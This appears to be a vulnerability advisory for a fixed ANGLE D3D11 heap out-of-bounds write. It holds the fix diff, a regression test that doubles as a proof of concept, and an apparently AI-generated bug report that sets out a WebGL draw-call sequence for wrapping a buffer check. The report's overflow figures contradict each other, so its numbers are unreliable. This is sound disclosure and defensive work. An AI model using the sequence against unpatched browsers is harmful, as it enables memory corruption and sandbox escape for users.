Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactBuffer overflow in ANGLE
DescriptionBuffer overflow in ANGLE
ComponentANGLE
Bug ClassOOB
Tracker536444790
Fix commit14571794da42 (angle/angle) +121/-5
CISA KEVNot listed
CreditedGoogle
Disclosed2026-09-08

Files Changed

  • src/libANGLE/renderer/d3d/VertexBuffer.cpp
  • src/libANGLE/renderer/d3d/VertexBuffer.h
  • src/libANGLE/renderer/d3d/VertexDataManager.cpp
  • src/libANGLE/renderer/d3d/d3d11/IndexBuffer11.cpp
  • src/libANGLE/renderer/d3d/d3d11/VertexBuffer11.cpp
  • src/tests/gl_tests/BufferDataTest.cpp
From 14571794da4298cb35e7d5b43a96c452d9cb2df5 Mon Sep 17 00:00:00 2001
From: wangra <wangra@google.com>
Date: Mon, 27 Jul 2026 11:46:22 -0400
Subject: [PATCH] D3D11: Fix dynamic vertex buffer reservation

Fix integer overflow in reservation checks, clear stale accumulated
space on new draw calls, and add runtime boundary validation to prevent
out-of-bounds writes in D3D11 dynamic vertex buffers.

Test: angle_end2end_tests --gtest_filter="*StreamingBufferReservationWrap*"
Bug: b/536444790
Change-Id: I9ca8e6626edebb789af901f17bffedac5cdeb03b
Reviewed-on: https://chromium-review.googlesource.com/c/angle/angle/+/8150967
Commit-Queue: Ran Wang <wangra@google.com>
Reviewed-by: Shahbaz Youssefi <syoussefi@chromium.org>
Reviewed-by: Geoff Lang <geofflang@chromium.org>
---

diff --git a/src/libANGLE/renderer/d3d/VertexBuffer.cpp b/src/libANGLE/renderer/d3d/VertexBuffer.cpp
index 1262e14..f8d7ff7 100644
--- a/src/libANGLE/renderer/d3d/VertexBuffer.cpp
+++ b/src/libANGLE/renderer/d3d/VertexBuffer.cpp
@@ -154,10 +154,15 @@
         ANGLE_TRY(setBufferSize(context, std::max(size, 3 * curBufferSize / 2)));
         mWritePosition = 0;
     }
-    else if (mWritePosition + size > curBufferSize)
+    else
     {
-        ANGLE_TRY(discard(context));
-        mWritePosition = 0;
+        angle::CheckedNumeric<unsigned int> checkedEnd(mWritePosition);
+        checkedEnd += size;
+        if (!checkedEnd.IsValid() || checkedEnd.ValueOrDie() > curBufferSize)
+        {
+            ANGLE_TRY(discard(context));
+            mWritePosition = 0;
+        }
     }
 
     mReservedSpace = size;
@@ -183,7 +188,9 @@
     // Protect against integer overflow
     angle::CheckedNumeric<unsigned int> checkedPosition(mWritePosition);
     checkedPosition += spaceRequired;
-    ANGLE_CHECK_GL_ALLOC(GetImplAs<ContextD3D>(context), checkedPosition.IsValid());
+    ANGLE_CHECK_GL_ALLOC(
+        GetImplAs<ContextD3D>(context),
+        checkedPosition.IsValid() && checkedPosition.ValueOrDie() <= getBufferSize());
 
     mReservedSpace = 0;
 
diff --git a/src/libANGLE/renderer/d3d/VertexBuffer.h b/src/libANGLE/renderer/d3d/VertexBuffer.h
index 4d0038f..8fd59d4 100644
--- a/src/libANGLE/renderer/d3d/VertexBuffer.h
+++ b/src/libANGLE/renderer/d3d/VertexBuffer.h
@@ -136,6 +136,8 @@
                                      GLsizei instances,
                                      uint64_t baseInstance);
 
+    void clearReservedSpace() { mReservedSpace = 0; }
+
   private:
     angle::Result reserveSpace(const gl::Context *context, unsigned int size);
 
diff --git a/src/libANGLE/renderer/d3d/VertexDataManager.cpp b/src/libANGLE/renderer/d3d/VertexDataManager.cpp
index a110370..b3260e5 100644
--- a/src/libANGLE/renderer/d3d/VertexDataManager.cpp
+++ b/src/libANGLE/renderer/d3d/VertexDataManager.cpp
@@ -443,6 +443,10 @@
     // Will trigger unmapping on return.
     StreamingBufferUnmapper localUnmapper(&mStreamingBuffer);
 
+    // Ensure the reservation accumulator starts fresh, discarding any state left
+    // behind by an earlier call that returned before the store loop consumed it.
+    mStreamingBuffer.clearReservedSpace();
+
     // Reserve the required space for the dynamic buffers.
     for (auto attribIndex : dynamicAttribsMask)
     {
diff --git a/src/libANGLE/renderer/d3d/d3d11/IndexBuffer11.cpp b/src/libANGLE/renderer/d3d/d3d11/IndexBuffer11.cpp
index 6bda518..56603b6 100644
--- a/src/libANGLE/renderer/d3d/d3d11/IndexBuffer11.cpp
+++ b/src/libANGLE/renderer/d3d/d3d11/IndexBuffer11.cpp
@@ -33,6 +33,8 @@
                                         bool dynamic)
 {
     mBuffer.reset();
+    mBufferSize = 0;
+    mIndexType  = gl::DrawElementsType::InvalidEnum;
 
     updateSerial();
 
diff --git a/src/libANGLE/renderer/d3d/d3d11/VertexBuffer11.cpp b/src/libANGLE/renderer/d3d/d3d11/VertexBuffer11.cpp
index d99c15f..65b9741 100644
--- a/src/libANGLE/renderer/d3d/d3d11/VertexBuffer11.cpp
+++ b/src/libANGLE/renderer/d3d/d3d11/VertexBuffer11.cpp
@@ -43,6 +43,7 @@
                                          bool dynamicUsage)
 {
     mBuffer.reset();
+    mBufferSize = 0;
     updateSerial();
 
     if (size > 0)
@@ -143,7 +144,9 @@
     angle::CheckedNumeric<size_t> checkedSpaceRequired = count;
     checkedSpaceRequired *= elementSize;
     checkedSpaceRequired += offset;
-    ASSERT(checkedSpaceRequired.IsValid() && checkedSpaceRequired.ValueOrDie() <= mBufferSize);
+    ANGLE_CHECK_GL_ALLOC(
+        GetImplAs<Context11>(context),
+        checkedSpaceRequired.IsValid() && checkedSpaceRequired.ValueOrDie() <= mBufferSize);
 
     vertexFormatInfo.copyFunction(input, inputStride, count, output);
 
diff --git a/src/tests/gl_tests/BufferDataTest.cpp b/src/tests/gl_tests/BufferDataTest.cpp
index 187478d..de4b667 100644
--- a/src/tests/gl_tests/BufferDataTest.cpp
+++ b/src/tests/gl_tests/BufferDataTest.cpp
@@ -2622,6 +2622,104 @@
     EXPECT_GL_ERROR(GL_NO_ERROR);
 }
 
+// Tests a D3D11 streaming vertex buffer out-of-bounds write vulnerability.
+// It requires a buffer of at least 2GB to allow two sub-allocations
+// to sum to > 4 GB, wrapping a 32-bit unsigned integer addition
+// However, with current ANGLE impl, since we have a hard limit:
+// kMaximumBufferSizeHardLimit = std::numeric_limits<UINT>::max() >> 1
+// The first glDrawArrays will return GL_OUT_OF_MEMORY
+// This test could be useful in case we increase kMaximumBufferSizeHardLimit
+// in the future
+TEST_P(BufferDataOverflowTest, StreamingBufferReservationWrap)
+{
+    ANGLE_SKIP_TEST_IF(!IsD3D11());
+
+    constexpr char kVS[] = R"(#version 300 es
+layout(location = 0) in vec4 attrib0;
+layout(location = 1) in vec4 attrib1;
+out vec4 v;
+void main()
+{
+    v = attrib0 + attrib1;
+    gl_Position = vec4(0, 0, 0, 1);
+})";
+
+    constexpr char kFS[] = R"(#version 300 es
+precision highp float;
+in vec4 v;
+out vec4 color;
+void main()
+{
+    color = v;
+})";
+
+    ANGLE_GL_PROGRAM(program, kVS, kFS);
+    glUseProgram(program);
+
+    // 4-byte packed input (GL_INT_2_10_10_10_REV) that converts to 16-byte
+    // DXGI_FORMAT_R32G32B32A32_FLOAT on the D3D11 CPU conversion path
+    // angle::FormatID::R10G10B10A2_SSCALED
+    constexpr GLenum kAttribType = GL_INT_2_10_10_10_REV;
+    constexpr GLsizei kSrcStride = 4;
+
+    // Count for Draw 1 to allocate the ~2.235 GB buffer (DstStride = 16)
+    constexpr GLsizei kGrowCount = 150000000;
+    // Count for Draw 2 to set up a ~1.863 GB stale reservation
+    constexpr GLsizei kPoisonCount = 125000000;
+    // Count for Draw 3 (~95.367 MB) to trigger the out-of-bounds write
+    constexpr GLsizei kSmallCount = 6250000;
+
+    // Size of source buffer for 150M vertices (150M * 4 bytes = ~572.205 MB)
+    constexpr GLsizeiptr kBigSrcBytes = static_cast<GLsizeiptr>(kGrowCount) * kSrcStride;
+    // A small 16-byte source buffer
+    constexpr GLsizeiptr kTinySrcBytes = 16;
+
+    GLBuffer bigBuffer;
+    glBindBuffer(GL_ARRAY_BUFFER, bigBuffer);
+    glBufferData(GL_ARRAY_BUFFER, kBigSrcBytes, nullptr, GL_DYNAMIC_DRAW);
+    ANGLE_SKIP_TEST_IF(glGetError() == GL_OUT_OF_MEMORY);
+
+    GLBuffer tinyBuffer;
+    glBindBuffer(GL_ARRAY_BUFFER, tinyBuffer);
+    glBufferData(GL_ARRAY_BUFFER, kTinySrcBytes, nullptr, GL_DYNAMIC_DRAW);
+    ASSERT_GL_NO_ERROR();
+
+    glBindBuffer(GL_ARRAY_BUFFER, bigBuffer);
+    glVertexAttribPointer(0, 4, kAttribType, GL_FALSE, kSrcStride, nullptr);
+    glEnableVertexAttribArray(0);
+    glDisableVertexAttribArray(1);
+
+    // Grow the streaming buffer and advance its write position to the end
+    // 150M vertices at 16 bytes allocates a ~2.235 GB backend buffer
+    glDrawArrays(GL_POINTS, 0, kGrowCount);
+    ANGLE_SKIP_TEST_IF(glGetError() == GL_OUT_OF_MEMORY);
+
+    // Request a draw for 125M vertices.
+    // - Attribute 0 requests ~1.863 GB. The addition mWritePosition (~2.235 GB) + size (~1.863 GB)
+    //   wraps 32-bit uint to ~100.16 MB, bypassing buffer discard. mReservedSpace becomes ~1.863 GB
+    // - Attribute 1 points to a tiny buffer, triggering GL_INVALID_OPERATION and aborting
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/src/tests/gl_tests/BufferDataTest.cpp b/src/tests/gl_tests/BufferDataTest.cpp
index 187478d..de4b667 100644
--- a/src/tests/gl_tests/BufferDataTest.cpp
+++ b/src/tests/gl_tests/BufferDataTest.cpp
@@ -2622,6 +2622,104 @@
     EXPECT_GL_ERROR(GL_NO_ERROR);
 }
 
+// Tests a D3D11 streaming vertex buffer out-of-bounds write vulnerability.
+// It requires a buffer of at least 2GB to allow two sub-allocations
+// to sum to > 4 GB, wrapping a 32-bit unsigned integer addition
+// However, with current ANGLE impl, since we have a hard limit:
+// kMaximumBufferSizeHardLimit = std::numeric_limits<UINT>::max() >> 1
+// The first glDrawArrays will return GL_OUT_OF_MEMORY
+// This test could be useful in case we increase kMaximumBufferSizeHardLimit
+// in the future
+TEST_P(BufferDataOverflowTest, StreamingBufferReservationWrap)
+{
+    ANGLE_SKIP_TEST_IF(!IsD3D11());
+
+    constexpr char kVS[] = R"(#version 300 es
+layout(location = 0) in vec4 attrib0;
+layout(location = 1) in vec4 attrib1;
+out vec4 v;
+void main()
+{
+    v = attrib0 + attrib1;
+    gl_Position = vec4(0, 0, 0, 1);
+})";
+
+    constexpr char kFS[] = R"(#version 300 es
+precision highp float;
+in vec4 v;
+out vec4 color;
+void main()
+{
+    color = v;
+})";
+
+    ANGLE_GL_PROGRAM(program, kVS, kFS);
+    glUseProgram(program);
+
+    // 4-byte packed input (GL_INT_2_10_10_10_REV) that converts to 16-byte
+    // DXGI_FORMAT_R32G32B32A32_FLOAT on the D3D11 CPU conversion path
+    // angle::FormatID::R10G10B10A2_SSCALED
+    constexpr GLenum kAttribType = GL_INT_2_10_10_10_REV;
+    constexpr GLsizei kSrcStride = 4;
+
+    // Count for Draw 1 to allocate the ~2.235 GB buffer (DstStride = 16)
+    constexpr GLsizei kGrowCount = 150000000;
+    // Count for Draw 2 to set up a ~1.863 GB stale reservation
+    constexpr GLsizei kPoisonCount = 125000000;
+    // Count for Draw 3 (~95.367 MB) to trigger the out-of-bounds write
+    constexpr GLsizei kSmallCount = 6250000;
+
+    // Size of source buffer for 150M vertices (150M * 4 bytes = ~572.205 MB)
+    constexpr GLsizeiptr kBigSrcBytes = static_cast<GLsizeiptr>(kGrowCount) * kSrcStride;
+    // A small 16-byte source buffer
+    constexpr GLsizeiptr kTinySrcBytes = 16;
+
+    GLBuffer bigBuffer;
+    glBindBuffer(GL_ARRAY_BUFFER, bigBuffer);
+    glBufferData(GL_ARRAY_BUFFER, kBigSrcBytes, nullptr, GL_DYNAMIC_DRAW);
+    ANGLE_SKIP_TEST_IF(glGetError() == GL_OUT_OF_MEMORY);
+
+    GLBuffer tinyBuffer;
+    glBindBuffer(GL_ARRAY_BUFFER, tinyBuffer);
+    glBufferData(GL_ARRAY_BUFFER, kTinySrcBytes, nullptr, GL_DYNAMIC_DRAW);
+    ASSERT_GL_NO_ERROR();
+
+    glBindBuffer(GL_ARRAY_BUFFER, bigBuffer);
+    glVertexAttribPointer(0, 4, kAttribType, GL_FALSE, kSrcStride, nullptr);
+    glEnableVertexAttribArray(0);
+    glDisableVertexAttribArray(1);
+
+    // Grow the streaming buffer and advance its write position to the end
+    // 150M vertices at 16 bytes allocates a ~2.235 GB backend buffer
+    glDrawArrays(GL_POINTS, 0, kGrowCount);
+    ANGLE_SKIP_TEST_IF(glGetError() == GL_OUT_OF_MEMORY);
+
+    // Request a draw for 125M vertices.
+    // - Attribute 0 requests ~1.863 GB. The addition mWritePosition (~2.235 GB) + size (~1.863 GB)
+    //   wraps 32-bit uint to ~100.16 MB, bypassing buffer discard. mReservedSpace becomes ~1.863 GB
+    // - Attribute 1 points to a tiny buffer, triggering GL_INVALID_OPERATION and aborting
+    //   the draw early, which leaves mReservedSpace stale at ~1.863 GB
+    glBindBuffer(GL_ARRAY_BUFFER, tinyBuffer);
+    glVertexAttribPointer(1, 4, kAttribType, GL_FALSE, kSrcStride, nullptr);
+    glEnableVertexAttribArray(1);
+
+    glDrawArrays(GL_POINTS, 0, kPoisonCount);
+    GLenum poisonError = glGetError();
+    ANGLE_SKIP_TEST_IF(poisonError == GL_OUT_OF_MEMORY);
+    EXPECT_EQ(static_cast<GLenum>(GL_INVALID_OPERATION), poisonError);
+
+    // Issue a valid small draw (~95.367 MB).
+    // The stale ~1.863 GB reservation is added to the ~95.367 MB, requesting ~1.956 GB
+    // The addition mWritePosition (~2.235 GB) + size (~1.956 GB) wraps again to ~195.53 MB,
+    // bypassing discard. The write occurs past the buffer end (offset ~2.235 GB)
+    glDisableVertexAttribArray(1);
+    glDrawArrays(GL_POINTS, 0, kSmallCount);
+    EXPECT_GL_NO_ERROR();
+
+    glDrawArrays(GL_POINTS, 0, 3);
+    EXPECT_GL_NO_ERROR();
+}
+
 // Tests a security bug in our CopyBufferSubData validation (integer overflow).
 TEST_P(BufferDataOverflowTest, CopySubDataValidation)
 {
Loading diff…

Original Bug Report

reported by aw...@chromium.org

Potential Host OOB Write in ANGLE D3D11 via Stale mReservedSpace and Unchecked Addition

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.

Overview: A potential host heap out-of-bounds write vulnerability exists in the ANGLE D3D11 backend due to an unchecked 32-bit unsigned addition and a stale state variable (mReservedSpace) across an early error return. An attacker can theoretically poison the reserved space to intentionally wrap a size check, allowing arbitrary vertex data to be copied past the dynamically mapped D3D11 buffer. This results in a potential linear heap OOB write in the GPU process.

Affected files:

  • third_party/angle/src/libANGLE/renderer/d3d/VertexBuffer.cpp
  • third_party/angle/src/libANGLE/renderer/d3d/VertexDataManager.cpp
  • third_party/angle/src/libANGLE/renderer/d3d/d3d11/VertexBuffer11.cpp

Estimated timestamp from git blame: 2019-03-23

1. Summary of the Issue (Meant for Human Triage)

A potential heap out-of-bounds (OOB) write vulnerability exists in the GPU process via ANGLE’s D3D11 backend on Windows. The issue stems from two coupled defects in StreamingVertexBufferInterface that allow a WebGL attacker to bypass buffer discard logic and write arbitrary, format-converted vertex data linearly past the end of a mapped D3D11 dynamic buffer.

First, StreamingVertexBufferInterface::reserveSpace utilizes an unchecked 32-bit unsigned addition (mWritePosition + size > curBufferSize) that is susceptible to integer wrapping. Second, the mReservedSpace state variable accumulates requested sizes during the per-attribute vertex space reservation loop. If a subsequent attribute fails validation in the backend (e.g., throwing a GL_INVALID_OPERATION due to an insufficient source buffer size), the reserve loop early-returns. Crucially, GL_INVALID_OPERATION does not cause context loss (unlike GL_OUT_OF_MEMORY), but the early return skips the cleanup path in storeDynamicAttribute, leaving mReservedSpace poisoned with a massive stale value.

By carefully sequencing draw calls, an attacker can intentionally wrap the unchecked addition in reserveSpace, bypass the buffer discard/reallocation operation, and trick VertexBuffer11::storeVertexAttributes into mapping the D3D11 buffer and copying vertex data completely out-of-bounds. Because the only size validation at the copy sink is a debug-only ASSERT, the write occurs silently in release builds. This grants a potential A-SERVER reachable sandbox escape primitive on Windows.

Note: The following are suggested/potential steps and analysis, as our tooling agent does not yet have the ability to run code to produce a live proof-of-concept.

2. Proof-of-Concept & Detailed Execution Flow

Potential Attacker Steps & Execution Trace

Step 1: Frontend Validation Bypass (Design) On the D3D11 backend, ANGLE advertises robust buffer access support (renderer11_utils.cpp:1318). This causes the frontend to disable its own buffer bounds validation (Context.cpp:4825, validationES.h:851-854). Mismatched buffer bounds therefore successfully reach the backend.

Step 2: Buffer Growth and Write Position Setup (Draw 1) The attacker creates a large gl.DYNAMIC_DRAW buffer (600 MB) bound to attribute 0 with format gl.INT_2_10_10_10_REV. This format requires CPU conversion to DXGI_FORMAT_R32G32B32A32_FLOAT (4 bytes to 16 bytes per vertex).

  • The attacker issues a draw call for 150,000,000 points.
  • The required space is 150M * 16 = 2.4 GB.
  • reserveSpace creates a 2.4 GB dynamic D3D11 buffer. mWritePosition is advanced to 2.4 GB, and mReservedSpace is set to 0 (VertexBuffer.cpp:152-163).

Step 3: Poisoning mReservedSpace (Draw 2) The attacker uses a program with two active dynamic attributes. Attribute 0 has a 500 MB source buffer. Attribute 1 has a 100-byte source buffer.

  • The attacker issues a draw call for 125,000,000 points.
  • Attribute 0: Requires 2.0 GB. reserveVertexSpace calculates 2.0 GB. In reserveSpace, the unchecked addition mWritePosition (2.4 GB) + size (2.0 GB) wraps around a 32-bit unsigned integer to approximately 105 MB. Since 105 MB is not greater than the curBufferSize (2.4 GB), the buffer discard is bypassed (VertexBuffer.cpp:157). mReservedSpace is updated to 2.0 GB.
  • Attribute 1: The required size for 125M vertices far exceeds the 100-byte buffer. The check in VertexDataManager::reserveSpaceForAttrib fails:
    // VertexDataManager.cpp:526
    ANGLE_CHECK(GetImplAs<ContextD3D>(context),
                maxByte <= static_cast<int64_t>(bufferD3D->getSize()),
                gl::err::kInsufficientVertexBufferSize, GL_INVALID_OPERATION);
    
  • This throws a GL_INVALID_OPERATION and aborts the reserve loop early (VertexDataManager.cpp:450-452).
  • ErrorSet::handleError processes the error but does not trigger context loss (which only occurs on GL_OUT_OF_MEMORY).
  • Because the reserve loop aborted, the store loop is skipped, storeDynamicAttribute is never executed, and mReservedSpace is never reset to 0. It remains poisoned at 2.0 GB.

Step 4: The Out-of-Bounds Write (Draw 3) The attacker issues a draw call with a single attribute pointing to a 25 MB payload buffer for 6,250,000 points (requiring 100 MB of space).

  • reserveVertexSpace adds the stale mReservedSpace to the requested size: alignedRequiredSpace += mReservedSpace (100 MB + 2.0 GB = 2.1 GB) (VertexBuffer.cpp:225).
  • reserveSpace is invoked with size = 2.1 GB.
  • The unchecked addition overflows again: mWritePosition (2.4 GB) + size (2.1 GB) = 4.5 GB, which wraps to approximately 205 MB.
    // VertexBuffer.cpp:157
    else if (mWritePosition + size > curBufferSize) { // Wraps, evaluates to false
        ANGLE_TRY(discard(context));
        mWritePosition = 0;
    }
    
  • The discard is bypassed. mWritePosition remains at 2.4 GB.
  • storeDynamicAttribute checks the actual space required (100 MB): 2.4 GB + 100 MB = 2.5 GB. This fits safely inside a 32-bit unsigned integer, passing the CheckedNumeric overflow validation (VertexBuffer.cpp:184-186).
  • VertexBuffer11::storeVertexAttributes is called with offset = 2.4 GB.
  • The D3D11 resource is mapped. The output pointer is calculated as mMappedResourceData + offset. Since offset exactly equals the mapped buffer size, output points to the first byte out-of-bounds.
  • The only bounds check is an ASSERT:
    // VertexBuffer11.cpp:146
    ASSERT(checkedSpaceRequired.IsValid() && checkedSpaceRequired.ValueOrDie() <= mBufferSize);
    
  • In release builds, this is stripped. vertexFormatInfo.copyFunction executes, linearly copying 100 MB of attacker-supplied bytes directly into the GPU process host heap.

Suggested Fix

  1. Use Checked Math in reserveSpace: The calculation mWritePosition + size in StreamingVertexBufferInterface::reserveSpace must be performed using angle::CheckedNumeric<unsigned int>. If it overflows, it should trigger a discard or return an error.
  2. Ensure State Consistency: mReservedSpace should be reset to 0 either at the start of VertexDataManager::reserveSpace or guaranteed to be cleaned up in a finally-style pattern if the attribute loop aborts with an error.

3. Technical Verification Details (Automated Audit Logs)

Reviewers may skip this section. It contains automated audit ledgers for triage verification.

> Verbatim Critic Validation Verdict: > * Severity: High (S1) > * Brief Notes / Reasoning: > The vulnerability is a valid, A-SERVER reachable heap out-of-bounds write in the GPU process (ANGLE D3D11 backend). I have verified the code paths and the integer overflow mechanism: >
> 1. In StreamingVertexBufferInterface::reserveSpace (VertexBuffer.cpp:157), mWritePosition + size > curBufferSize performs an unchecked 32-bit unsigned addition. > 2. An attacker can inflate size using a stale mReservedSpace. By submitting a draw call with two dynamic attributes where the first succeeds in reserveSpaceForAttrib (setting mReservedSpace), but the second fails at VertexDataManager.cpp:529, a GL_INVALID_OPERATION is returned. > 3. Crucially, GL_INVALID_OPERATION does not cause context loss (only GL_OUT_OF_MEMORY does), and the reserve loop early-returns. The store loop is skipped, meaning mReservedSpace = 0 (VertexBuffer.cpp:188) is never reached. > 4. On the next draw call, reserveVertexSpace adds the stale mReservedSpace (e.g. 2.0GB) to the new requiredSpace. This inflated size causes mWritePosition + size to wrap around 32-bits (e.g., 2.4GB + 2.1GB = 4.5GB -> 205MB), bypassing the > curBufferSize check. > 5. The discard is skipped, and VertexBuffer11::storeVertexAttributes performs the copy. The only bounds check (checkedSpaceRequired <= mBufferSize) is a debug-only ASSERT (VertexBuffer11.cpp:148). Thus, attacker-controlled vertex data is written linearly out of bounds of the mapped D3D11 buffer (mMappedResourceData). >
> Severity Assessment: High (S1) > - The GPU process is unsandboxed on Android (which would make this Critical), but this vulnerability affects the D3D11 backend, which is Windows-only. > - On Windows, the GPU process is sandboxed. A web-content (A-SERVER) attacker achieving memory corruption in the sandboxed GPU process is equivalent to a Sandbox Escape or compromised renderer, which is High (S1). > - The high RAM precondition (~2.4GB buffer) does not downgrade severity per the threat model. > - MiraclePtr does not apply as this is a linear heap buffer overflow, not a UAF.

Environmental Assumptions & Validation

  • Platform/OS: Windows (where the default backend for ANGLE is D3D11). The issue is compiled out on Android because the D3D11 backend is excluded at build-time.
  • D3D11 Resource Size Support: Success of allocating a dynamic buffer of size ~2.4 GB depends on the underlying driver supporting large resources (lifted in D3D11.1 and WDDM 2.0) and sufficient system/VRAM resources. Per the security guidelines, high-RAM requirements do not mitigate severity.
  • Math Verification: 32-bit unsigned wrapping limits verified.
    • 2.4 GB (2,566,914,048 bytes) + 2.0 GB (2,147,483,648 bytes) = 4,714,397,696 bytes. Wrapped modulo 2^32 = 419,430,400 bytes (~400 MiB), successfully bypassing > 2,400,000,000 discard check.
  • No Mitigations Intercepting the Flow: The CheckedNumeric variables used in storeDynamicAttribute and reserveVertexSpace only validate against absolute 32-bit integer overflow (checking if the value exceeds 2^32-1). They do not validate against the actual size of the vertex buffer. Frontend validation is skipped precisely because robustBufferAccessBehaviorKHR evaluates to true on the D3D11 backend.

Evaluated with Chrome root at commit: b96d2ec58f4f5f92b540a723966b199d6e9951b4


Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:

  • If you are familiar with the severity guidelines, you may adjust the severity.
  • If this is a false positive, and there’s no work to be done, please close as WAI.
  • If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.

Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker